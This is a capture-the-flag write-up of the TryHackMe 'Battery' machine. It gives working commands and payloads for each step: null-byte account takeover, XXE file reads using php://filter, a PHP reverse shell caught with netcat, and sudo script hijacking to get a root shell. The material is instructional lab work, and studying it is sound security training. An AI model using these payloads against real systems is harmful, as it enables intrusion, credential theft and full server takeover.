TryHackMe - Battery

CTF designed by CTF lover for CTF lovers

Electricity bill portal has been hacked many times in the past , so we have fired one of the employee from the security team , As a new recruit you need to work like a hacker to find the loop holes in the portal and gain root access to the server .

Hope you will enjoy the journey !

Title Battery
Difficulty Medium
Author Th3lazykid and  golith3r00t
Tags web application, python, enumeration, linux

Enumeration

Nmap

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- --min-rate 5000 -Pn battery.thm
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 06:51 EDT
Nmap scan report for battery.thm (10.10.208.88)
Host is up (0.25s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 17.83 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -A -Pn -p 22,80 battery.thm
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 06:51 EDT
Nmap scan report for battery.thm (10.10.208.88)
Host is up (0.18s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 14:6b:67:4c:1e:89:eb:cd:47:a2:40:6f:5f:5c:8c:c2 (DSA)
|   2048 66:42:f7:91:e4:7b:c6:7e:47:17:c6:27:a7:bc:6e:73 (RSA)
|   256 a8:6a:92:ca:12:af:85:42:e4:9c:2b:0e:b5:fb:a8:8b (ECDSA)
|_  256 62:e4:a3:f6:c6:19:ad:30:0a:30:a1:eb:4a:d3:12:d3 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.4 (99%), Linux 3.10 - 3.13 (96%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (93%), Sony Android TV (Android 5.0) (93%), Android 5.0 - 6.0.1 (Linux 3.4) (93%), Android 5.1 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   251.35 ms 10.9.0.1
2   251.46 ms battery.thm (10.10.208.88)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.44 seconds

HTTP (port 80)

Untitled

<html>
  <body style="background-color:black;">
    <pre style="text-align:center;color:red">

 _           _   _                  
| |__   __ _| |_| |_ ___ _ __ _   _ 
| '_ \ / _` | __| __/ _ \ '__| | | |
| |_) | (_| | |_| ||  __/ |  | |_| |
|_.__/ \__,_|\__|\__\___|_|   \__, |
                              |___/ 
   					<sub>designed by cyberbot :)</sub>
                   

</pre>
  </body>
</html>

Dir Scan

┌──(kali㉿kali)-[~/Wordlists]
└─$ gobuster dir -w directory-list-2.3-medium.txt -t 40 --no-error -u http://battery.thm/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://battery.thm/
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/scripts              (Status: 301) [Size: 311] [--> http://battery.thm/scripts/]
/report               (Status: 200) [Size: 16912]

Analyze /report

┌──(kali㉿kali)-[~/TryHackMe/battery]
└─$ curl http://battery.thm/report
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.

┌──(kali㉿kali)-[~/TryHackMe/battery]
└─$ curl http://battery.thm/report --output report
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 16912  100 16912    0     0  15749      0  0:00:01  0:00:01 --:--:-- 15761

┌──(kali㉿kali)-[~/TryHackMe/battery]
└─$ ls -l; file report
total 20
-rw-r--r-- 1 kali kali 16912 Oct  6 06:55 report
report: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=44ffe4e81d688f7b7fe59bdf74b03f828a4ef3fe, for GNU/Linux 3.2.0, not stripped

Because the report file is a ELF executable file, I will use ghidra to analyze it and then I capture these functions inside:

function main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
undefined8 main(void)

{
int iVar1;
int local_8c;
char local_88 [32];
char local_68 [32];
undefined local_48 [32];
undefined local_28 [32];

local_8c = 0;
puts("\n\n\n");
puts("Welcome To ABC DEF Bank Managemet System!\n\n");
printf("UserName : ");
**isoc99_scanf(&DAT_001021f0,local_68);
puts("\n");
printf("Password : ");
**isoc99_scanf(&DAT_001021f0,local_88);
iVar1 = strcmp(local_68,"guest");
if ((iVar1 == 0) && (iVar1 = strcmp(local_88,"guest"), iVar1 == 0)) {
options();
while (local_8c != 5) {
printf("Your Choice : ");
**isoc99_scanf(&DAT_00102216,&local_8c);
if (local_8c == 1) {
users();
}
else if (local_8c == 4) {
printf("email : ");
**isoc99_scanf(&DAT_001021f0,local_28);
puts("\n");
printf("Password : ");
\_\_isoc99_scanf(&DAT_001021f0,local_48);
update(local_28,local_48);
}
else if ((local_8c == 3) || (local_8c == 2)) {
puts("not available for guest account\n");
system("clear");
options();
}
else {
puts("Wrong option\n");
system("clear");
options();
}
}
}
else {
printf("Wrong username or password");
}
return 0;
}

function options()

1
2
3
4
5
6
7
8
9
10
11
12
void options(void)

{
puts("Welcome Guest\n");
puts("===================Available Options==============\n");
puts("1. Check users");
puts("2. Add user");
puts("3. Delete user");
puts("4. change password");
puts("5. Exit");
return;
}

function users()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void users(void)

{
system("clear");
puts("\n===============List of active users================");
puts("support@bank.a");
puts("contact@bank.a");
puts("cyber@bank.a");
puts("admins@bank.a");
puts("sam@bank.a");
puts("admin0@bank.a");
puts("super_user@bank.a");
puts("admin@bank.a");
puts("control_admin@bank.a");
puts("it_admin@bank.a\n\n");
options();
return;
}

function update()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void update(char \*param_1)

{
int iVar1;

iVar1 = strcmp(param_1,"admin@bank.a");
if (iVar1 == 0) {
puts("Password Updated Successfully!\n");
options();
}
else {
puts("Sorry you can\'t update the password\n");
options();
}
return;
}

From the functions users() and update(), the user admin@bank.a might be the real administrator of the server have much more permissions than the others. But where could I use this user to exploit? Let’s enumerate the target deeper!

Extensions Fuzzing

┌──(kali㉿kali)-[~/Wordlists]
└─$ gobuster dir -w directory-list-2.3-medium.txt -t 40 --no-error -u http://battery.thm/ -x .php,.txt,.js
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://battery.thm/
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,js
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/register.php         (Status: 200) [Size: 715]
/admin.php            (Status: 200) [Size: 663]
/scripts              (Status: 301) [Size: 311] [--> http://battery.thm/scripts/]
/forms.php            (Status: 200) [Size: 2334]
/report               (Status: 200) [Size: 16912]
/logout.php           (Status: 302) [Size: 0] [--> admin.php]
/dashboard.php        (Status: 302) [Size: 908] [--> admin.php]
/acc.php              (Status: 200) [Size: 1104]

So after appending the extensions on the target URL, I explore many paths with .php. I try to enter one of them and it navigates me to the admin.php path containing the login form:

Untitled

I try to input a random pair of creds but it responses with a pop-up window which means no HTML attributes. Therefore, I cannot use hydra to try to brute-force the creds:

Untitled

Hmmm… So not brute-force, then I decide to register a new account to see how the default page after I login looks like:

Untitled

Untitled

Exploit

The dashboard.php contains many internal links which are displayed on the top-bar. However, most of them are restricted to be accessed by normal account. So I have to find the way out to compromise the real admin account.

Null Byte Injection

In this section, I will use the technique Null Byte Injection which adds the null byte characters such as %00 after a string or value. When the data is sent, the target server/application which is not well-validated data will accept the value that must be filtered/discarded.

Unfortunately that the username field on the Registration Form restricts the input size of value that I cannot append the %00 characters after the admin username admin@bank.a:

Untitled

To solve this problem, I use Burpsuite to capture the submit request and modify the payload inside:

uname=admin%40bank.a%00&bank=ABC&password=1234&btn=Register+me%21

Untitled

As the alert() says Registered successfully, I get back to the login form and login as the user admin with my own specified password:

Untitled

XXE Injection

Now, I have the permission to access all these internal links:

1
2
3
4
5
6
7
8
9
10
<ul>
  <li><a href="dashboard.php">Dashboard</a></li>
  <li><a href="with.php">Withdraw Money</a></li>
  <li><a href="depo.php">Deposit Money</a></li>
  <li><a href="tra.php">Transfer Money</a></li>
  <li><a href="acc.php">My Account</a></li>
  <li><a href="forms.php">command</a></li>
  <li><a href="logout.php">Logout</a></li>
  <li style="float:right"><a href="contact.php">Contact Us</a></li>
</ul>

I click on the command option which routes me to the forms.php path:

Untitled

From the source code of the page, I discover an XMLFunction applies on the forms.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function XMLFunction() {
var xml =
"" +
'<?xml version="1.0" encoding="UTF-8"?>' +
"<root>" +
"<name>" +
$("#name").val() +
"</name>" +
"<search>" +
$("#search").val() +
"</search>" +
"</root>";
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4) {
console.log(xmlhttp.readyState);
console.log(xmlhttp.responseText);
document.getElementById("errorMessage").innerHTML = xmlhttp.responseText;
}
};
xmlhttp.open("POST", "forms.php", true);
xmlhttp.send(xml);
}

This could lead to the XXE Injection vulnerability and could scale up to the LFI vulnerability which allows me to read the local files on the server. To initiate the exploitation, I input normal values into the form and submit it, then I capture the packets on Burpsuite:

POST /forms.php HTTP/1.1
Host: battery.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 91
Origin: http://battery.thm
Connection: close
Referer: http://battery.thm/forms.php
Cookie: PHPSESSID=n3sn1v5ebcr49c5b4t49vrb7l5

<?xml version="1.0" encoding="UTF-8"?>
<root><name>1</name><search>whoareyou?</search></root>

From here, I modify the request with the XXE Injection payload to test the vulnerability whether I could read the /etc/passwd file:

POST /forms.php HTTP/1.1
Host: battery.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 153
Origin: http://battery.thm
Connection: close
Referer: http://battery.thm/forms.php
Cookie: PHPSESSID=n3sn1v5ebcr49c5b4t49vrb7l5

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE search [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root><name>1</name><search>&xxe;</search></root>

Untitled

Ok, it works! Now, I want to explore whether the others path (acc.php,tra.php,depo.php,with.php) contains any sensitive information. However, the response does not look like what I expected:

<!DOCTYPE search [<!ENTITY xxe SYSTEM "file:///acc.php">

Untitled

There might be a trigger error with the xml parser. Though, I use the php filter to exfiltrate the data and encode the data to base64:

<!DOCTYPE search [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=acc.php"> ]

Untitled

After decoding the data, I get this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<html>
<head>
<style>
[...]
</style>
</head>
<body>

<ul>
  <li><a href="dashboard.php">Dashboard</a></li>
  <li><a href="with.php">Withdraw Money</a></li>
  <li><a href="depo.php">Deposit Money</a></li>
  <li><a href="tra.php">Transfer Money</a></li>
  <li><a href="acc.php">My Account</a></li>
  <li><a href="forms.php">command</a></li>
  <li><a href="logout.php">Logout</a></li>
  <li style="float:right"><a href="contact.php">Contact Us</a></li>
</ul><br><br><br><br>

</body>
</html>

<?php

session_start();
if(isset($_SESSION['favcolor']) and $_SESSION['favcolor']==="admin@bank.a")
{

echo "<h3 style='text-align:center;'>Weclome to Account control panel</h3>";
echo "<form method='POST'>";
echo "<input type='text' placeholder='Account number' name='acno'>";
echo "<br><br><br>";
echo "<input type='text' placeholder='Message' name='msg'>";
echo "<input type='submit' value='Send' name='btn'>";
echo "</form>";
//MY CREDS :- cyber:[REDACTED]
if(isset($_POST['btn']))
{
$ms=$_POST['msg'];
echo "ms:".$ms;
if($ms==="id")
{
system($ms);
}
else if($ms==="whoami")
{
system($ms);
}
else
{
echo "<script>alert('RCE Detected!')</script>";
session_destroy();
unset($_SESSION['favcolor']);
header("Refresh: 0.1; url=index.html");
}
}
}
else
{
echo "<script>alert('Only Admins can access this page!')</script>";
session_destroy();
unset($_SESSION['favcolor']);
header("Refresh: 0.1; url=index.html");
}
?>

Focus on the comment line, I got the ssh credentials:

//MY CREDS :- cyber:[REDACTED]

Login ssh as user cyber and easily get the first flag which is Base Flag in the question task:

┌──(kali㉿kali)-[~/TryHackMe/battery]
└─$ ssh cyber@battery.thm
The authenticity of host 'battery.thm (10.10.248.7)' can't be established.
ED25519 key fingerprint is SHA256:bTNXpvfykuLebPN3kSFZTMvEtACHZnk64YKhtu6tMKI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'battery.thm' (ED25519) to the list of known hosts.
cyber@battery.thm's password:
Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic x86_64)

 * Documentation:  https://help.ubuntu.com/

  System information as of Fri Oct  6 19:11:41 IST 2023

  System load:  3.07              Processes:           102
  Usage of /:   2.4% of 68.28GB   Users logged in:     0
  Memory usage: 12%               IP address for eth0: 10.10.248.7
  Swap usage:   0%

  => There are 3 zombie processes.

  Graph this data and manage this system at:
    https://landscape.canonical.com/

Last login: Tue Nov 17 17:02:47 2020 from 192.168.29.248
cyber@ubuntu:~$ pwd;ls -la
/home/cyber
total 32
drwx------ 3 cyber cyber 4096 Nov 17  2020 .
drwxr-xr-x 4 root  root  4096 Nov 16  2020 ..
-rw------- 1 cyber cyber    0 Nov 17  2020 .bash_history
-rw-r--r-- 1 cyber cyber  220 Nov  9  2020 .bash_logout
-rw-r--r-- 1 cyber cyber 3637 Nov  9  2020 .bashrc
drwx------ 2 cyber cyber 4096 Nov  9  2020 .cache
-rw--w---- 1 cyber cyber   85 Nov 15  2020 flag1.txt
-rw-r--r-- 1 cyber cyber  675 Nov  9  2020 .profile
-rwx------ 1 root  root   349 Nov 15  2020 run.py
cyber@ubuntu:~$ cat flag1.txt
THM{[REDACTED]}

Sorry I am not good in designing ascii art :(

Privilege Escalation

Method 1: Directly Escalate to Root

Type sudo -l to view the available root commands could be run by user cyber:

cyber@ubuntu:~$ sudo -l
Matching Defaults entries for cyber on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cyber may run the following commands on ubuntu:
    (root) NOPASSWD: /usr/bin/python3 /home/cyber/run.py

Beside the run.py is unable to read or modify, I try to execute it to see what would happen:

cyber@ubuntu:~$ sudo /usr/bin/python3 /home/cyber/run.py
Hey Cyber I have tested all the main components of our web server but something unusal happened from my end!

As the run.py is located in cyber’s directory, I can modify its name using mv command and create a new run.py which will establish the shell. Combining with the sudo command when executing, it could scale up to the root shell:

cyber@ubuntu:~$ ls -l
total 8
-rw--w---- 1 cyber cyber  85 Nov 15  2020 flag1.txt
-rwx------ 1 root  root  349 Nov 15  2020 run.py
cyber@ubuntu:~$ nano run.py
cyber@ubuntu:~$ ls -l
total 12
-rw--w---- 1 cyber cyber  85 Nov 15  2020 flag1.txt
-rw-rw-r-- 1 cyber cyber  33 Oct  6 19:41 run.py
-rwx------ 1 root  root  349 Nov 15  2020 run.py.bak
cyber@ubuntu:~$ cat run.py
import os
os.system('/bin/bash')
cyber@ubuntu:~$ sudo python3 /home/cyber/run.py
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root)

Now just simply access where ever I want and get both user flag and root flag:

root@ubuntu:/home# ls -l
total 8
drwx------ 3 cyber cyber 4096 Oct  6 19:41 cyber
drwx------ 3 yash  yash  4096 Nov 17  2020 yash
root@ubuntu:/home# cd yash
root@ubuntu:/home/yash# ls -l
total 16
-rwx------ 1 root root 864 Nov 17  2020 emergency.py
-rw-rw-r-- 1 yash yash 167 Nov 17  2020 fernet
-rw-rw-r-- 1 yash yash  68 Nov 16  2020 flag2.txt
-rw--w---- 1 yash yash 295 Nov 15  2020 root.txt
root@ubuntu:/home/yash# cat flag2.txt
THM{[REDACTED]}

Sorry no ASCII art again :(
root@ubuntu:/home/yash# cd /root
root@ubuntu:/root# ls -l
total 4
-rw-r--r-- 1 root root 937 Nov 16  2020 root.txt
root@ubuntu:/root# cat root.txt
████████████████████████████████████
██                                ██
██  ████  ████  ████  ████  ████  ████
██  ████  ████  ████  ████  ████  ████
██  ████  ████  ████  ████  ████  ████
██  ████  ████  ████  ████  ████  ████
██  ████  ████  ████  ████  ████  ████
██                                ██
████████████████████████████████████

                                                battery designed by cyberbot :)
                                                Please give your reviews on catch_me75@protonmail.com or discord cyberbot#1859

THM{[REDACTED]}

Method 2: user1 → user2 → root

List the /home/ directory and combine with the information from the /etc/passwd file, I observe that there is another available user on this system which is yash:

cyber@ubuntu:~$ ls -l /home/
total 8
drwx------ 3 cyber cyber 4096 Oct  6 19:41 cyber
drwx------ 3 yash  yash  4096 Nov 17  2020 yash

I upload the pspy64 from my machine to /home/cyber/ location and execute it. Then I explore the that every time the run.py execute, the apache2 service will be restarted:

2023/10/06 22:15:38		CMD: UID=0  PID=1628  | sh -c service apache2 restart > /dev/null 2>&1

I check out the /apache2/ directory and find out the directory and the apache2.conf is able to modify:

cyber@ubuntu:~$ ls -l /etc/ | grep "apache2"
drwxr-xr-x 8 root root    4096 Nov  9  2020 apache2
cyber@ubuntu:/etc/apache2$ ls -l apache2.conf
-rwxrwxrwx 1 root root 7117 Oct  6 19:54 apache2.conf

So I change the value User and Group from www-data to yash:

# These need to be set in /etc/apache2/envvars
User www-data
Group www-data
cyber@ubuntu:/etc/apache2$ cat apache2.conf | grep "yash"
User yash
Group yash

This step allows me to become the user yash instead of www-data when I implement a reverse shell through the HTTP service. Next, the /var/www/html/ directory is also set with SUID permission → I can create the php reverse shell in here and execute it:

cyber@ubuntu:~$ ls -l /var/www
total 4
drwxrwxrwx 3 root root 4096 Oct  6 19:55 html
cyber@ubuntu:~$ ls -l /var/www/html/shell.php
-rw-rw-r-- 1 cyber cyber 5493 Oct  6 19:55 /var/www/html/shell.php

Execute the shell through the web-browser with URL http://battery.thm/shell.php and establish a listener on local machine, I get the shell as user yash:

┌──(kali㉿kali)-[~/TryHackMe/battery]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.63.75] from (UNKNOWN) [10.10.248.7] 44853
Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
 20:05:43 up 54 min,  1 user,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
cyber    pts/0    ip-10-9-63-75.eu 19:27   15.00s  0.20s  0.20s -bash
uid=1002(yash) gid=1002(yash) groups=1002(yash)
/bin/sh: 0: can't access tty; job control turned off

Then I navigate to the yash directory and get the flag:

yash@ubuntu:/$ cd /home/yash
cd /home/yash
yash@ubuntu:/home/yash$ ls -l
ls -l
total 16
-rwx------ 1 root root 864 Nov 17  2020 emergency.py
-rw-rw-r-- 1 yash yash 167 Nov 17  2020 fernet
-rw-rw-r-- 1 yash yash  68 Nov 16  2020 flag2.txt
-rw--w---- 1 yash yash 295 Nov 15  2020 root.txt
yash@ubuntu:/home/yash# cat flag2.txt
THM{[REDACTED]}

I enumerate the files inside and find out the fernet file is containing some encrypted strings:

yash@ubuntu:/home/yash$ cat fernet
cat fernet
encrypted_text:gAAAAABfs33Qms9CotZIEBMg76eOlwOiKU8LD_mX2F346WXXBVIlXWvWGfreAX4kU5hjGXf0PiwtP0cmOm5JSUI7zl03V1JKlA==

key:7OEIooZqOpT7vOh9ax8arbBeB8e243Pr8K4IVWBStgA=

Base on the file’s name, I do some research and explore the fernet is a type of cipher. Therefore, I write down a Python script to decode the text:

1
2
3
4
5
6
7
8
9
10
11
12
from cryptography.fernet import Fernet

key = "7OEIooZqOpT7vOh9ax8arbBeB8e243Pr8K4IVWBStgA="
encrypted_text = "gAAAAABfs33Qms9CotZIEBMg76eOlwOiKU8LD_mX2F346WXXBVIlXWvWGfreAX4kU5hjGXf0PiwtP0cmOm5JSUI7zl03V1JKlA=="

fernet = Fernet(key)

token = bytes(encrypted_text, "utf-8")

decoded_text = fernet.decrypt(token)

print(decoded_text)
┌──(kali㉿kali)-[~/TryHackMe/battery]
└─$ python3 decode_fernet.py
b'[REDACTED]'

So now I got the use yash password, let’s use sudo -l to view the root commands could be run by yash:

yash@ubuntu:/$ sudo -l
sudo -l
Matching Defaults entries for yash on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User yash may run the following commands on ubuntu:
    (root) PASSWD: /usr/bin/python3 /home/yash/emergency.py

The emergency.py could be execute with sudo command, but it also restricted to view or modify.

yash@ubuntu:/home/yash$ ls -l emergency.py
ls -l emergency.py
-rwx------ 1 root root 868 Oct  6 20:50 emergency.py

Let’s execute it to see what would happen though:

yash@ubuntu:/$ sudo python3 /home/yash/emergency.py
sudo python3 /home/yash/emergency.py
01110010 01100101 01100001 01100100 01101001 01101110 01100111 00100000 00101111 01101111 01110000 01110100 00101111 01100010 01101001 01101110 01110011 01101001 01100100 01100101 00100000 01100110 01101001 01101100 01100101
checking if you are a human...................Test Failed

Oh, so there’s a block of binaries with 0 and 1, I user CyberChef to decode them and know that the emergency.py file is reading the /opt/binside file:

Untitled

Let’s see what the /opt/binside does:

yash@ubuntu:/home/yash$ ls -l /opt/binside
ls -l /opt/binside
-rwxrwxrwx 1 root root 0 Nov 17  2020 /opt/binside
yash@ubuntu:/home/yash$ cat /opt/binside
cat /opt/binside

Hmm… It’s empty. But it allows me to write on it with the SUID permission x right? And because the emergency.py displays a block of binaries, so I also insert the binary value into the /opt/binside too and which I use to insert in is the command that will establish the shell:

┌──(kali㉿kali)-[~/TryHackMe/battery]
└─$ echo -n "/bin/bash" | xxd -b
00000000: 00101111 01100010 01101001 01101110 00101111 01100010  /bin/b
00000006: 01100001 01110011 01101000                             ash
yash@ubuntu:/$ echo "00101111 01100010 01101001 01101110 00101111 01100010 01100001 01110011 01101000" > /opt/binside
<110 00101111 01100010 01100001 01110011 01101000" > /opt/binside

Ok, now run the emergency.py with sudo:

yash@ubuntu:/$ sudo python3 /home/yash/emergency.py
sudo python3 /home/yash/emergency.py
01110010 01100101 01100001 01100100 01101001 01101110 01100111 00100000 00101111 01101111 01110000 01110100 00101111 01100010 01101001 01101110 01110011 01101001 01100100 01100101 00100000 01100110 01101001 01101100 01100101
checking if you are a human.....................Test Passed [Traceback (most recent call last):
  File "/home/yash/emergency.py", line 20, in <module>
    inn=int(m,2)
ValueError: invalid literal for int() with base 2: '/bin/bash'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/yash/emergency.py", line 29, in <module>
    delay_print("checking if you are a human.....................Test Passed [\u2714]\n\n")
  File "/home/yash/emergency.py", line 6, in delay_print
    sys.stdout.write(c)
UnicodeEncodeError: 'ascii' codec can't encode character '\u2714' in position 0: ordinal not in range(128)

Oops! There is a UnicodeEncodeError from the file and it was caused by something that implemented by the authors.

Then I have to use the Method 1 to get root and see what’s happening:

1
2
3
delay_print("checking if you are a human...................Test Failed [✘]\n\n")
[...]
delay_print("checking if you are a human.....................Test Passed [✔]\n\n")

Oh!! The [✘] and [✔] characters are causing the error. The ascii system can not decode these values because they are out of range of the system. So I have to use root permission to modify them into normal characters to let the ascii system understand and is able to decode them:

root@ubuntu:/home/yash# cat emergency.py | grep "fixed"
				delay_print("checking if you are a human...................Test Failed [fixed]\n\n")
	delay_print("checking if you are a human.....................Test Passed [fixed]\n\n")

Now, re-execute the file again:

yash@ubuntu:/$ sudo python3 /home/yash/emergency.py
sudo python3 /home/yash/emergency.py
01110010 01100101 01100001 01100100 01101001 01101110 01100111 00100000 00101111 01101111 01110000 01110100 00101111 01100010 01101001 01101110 01110011 01101001 01100100 01100101 00100000 01100110 01101001 01101100 01100101
checking if you are a human...................Test Failed [fixed]

root@ubuntu:/#

Go and get the root flag:

root@ubuntu:/# cd /root/
cd /root/
root@ubuntu:~# cat root.txt
cat root.txt
████████████████████████████████████
██                                ██
██  ████  ████  ████  ████  ████  ████
██  ████  ████  ████  ████  ████  ████
██  ████  ████  ████  ████  ████  ████
██  ████  ████  ████  ████  ████  ████
██  ████  ████  ████  ████  ████  ████
██                                ██
████████████████████████████████████

                                                battery designed by cyberbot :)
                                                Please give your reviews on catch_me75@protonmail.com or discord cyberbot#1859

THM{[REDACTED]}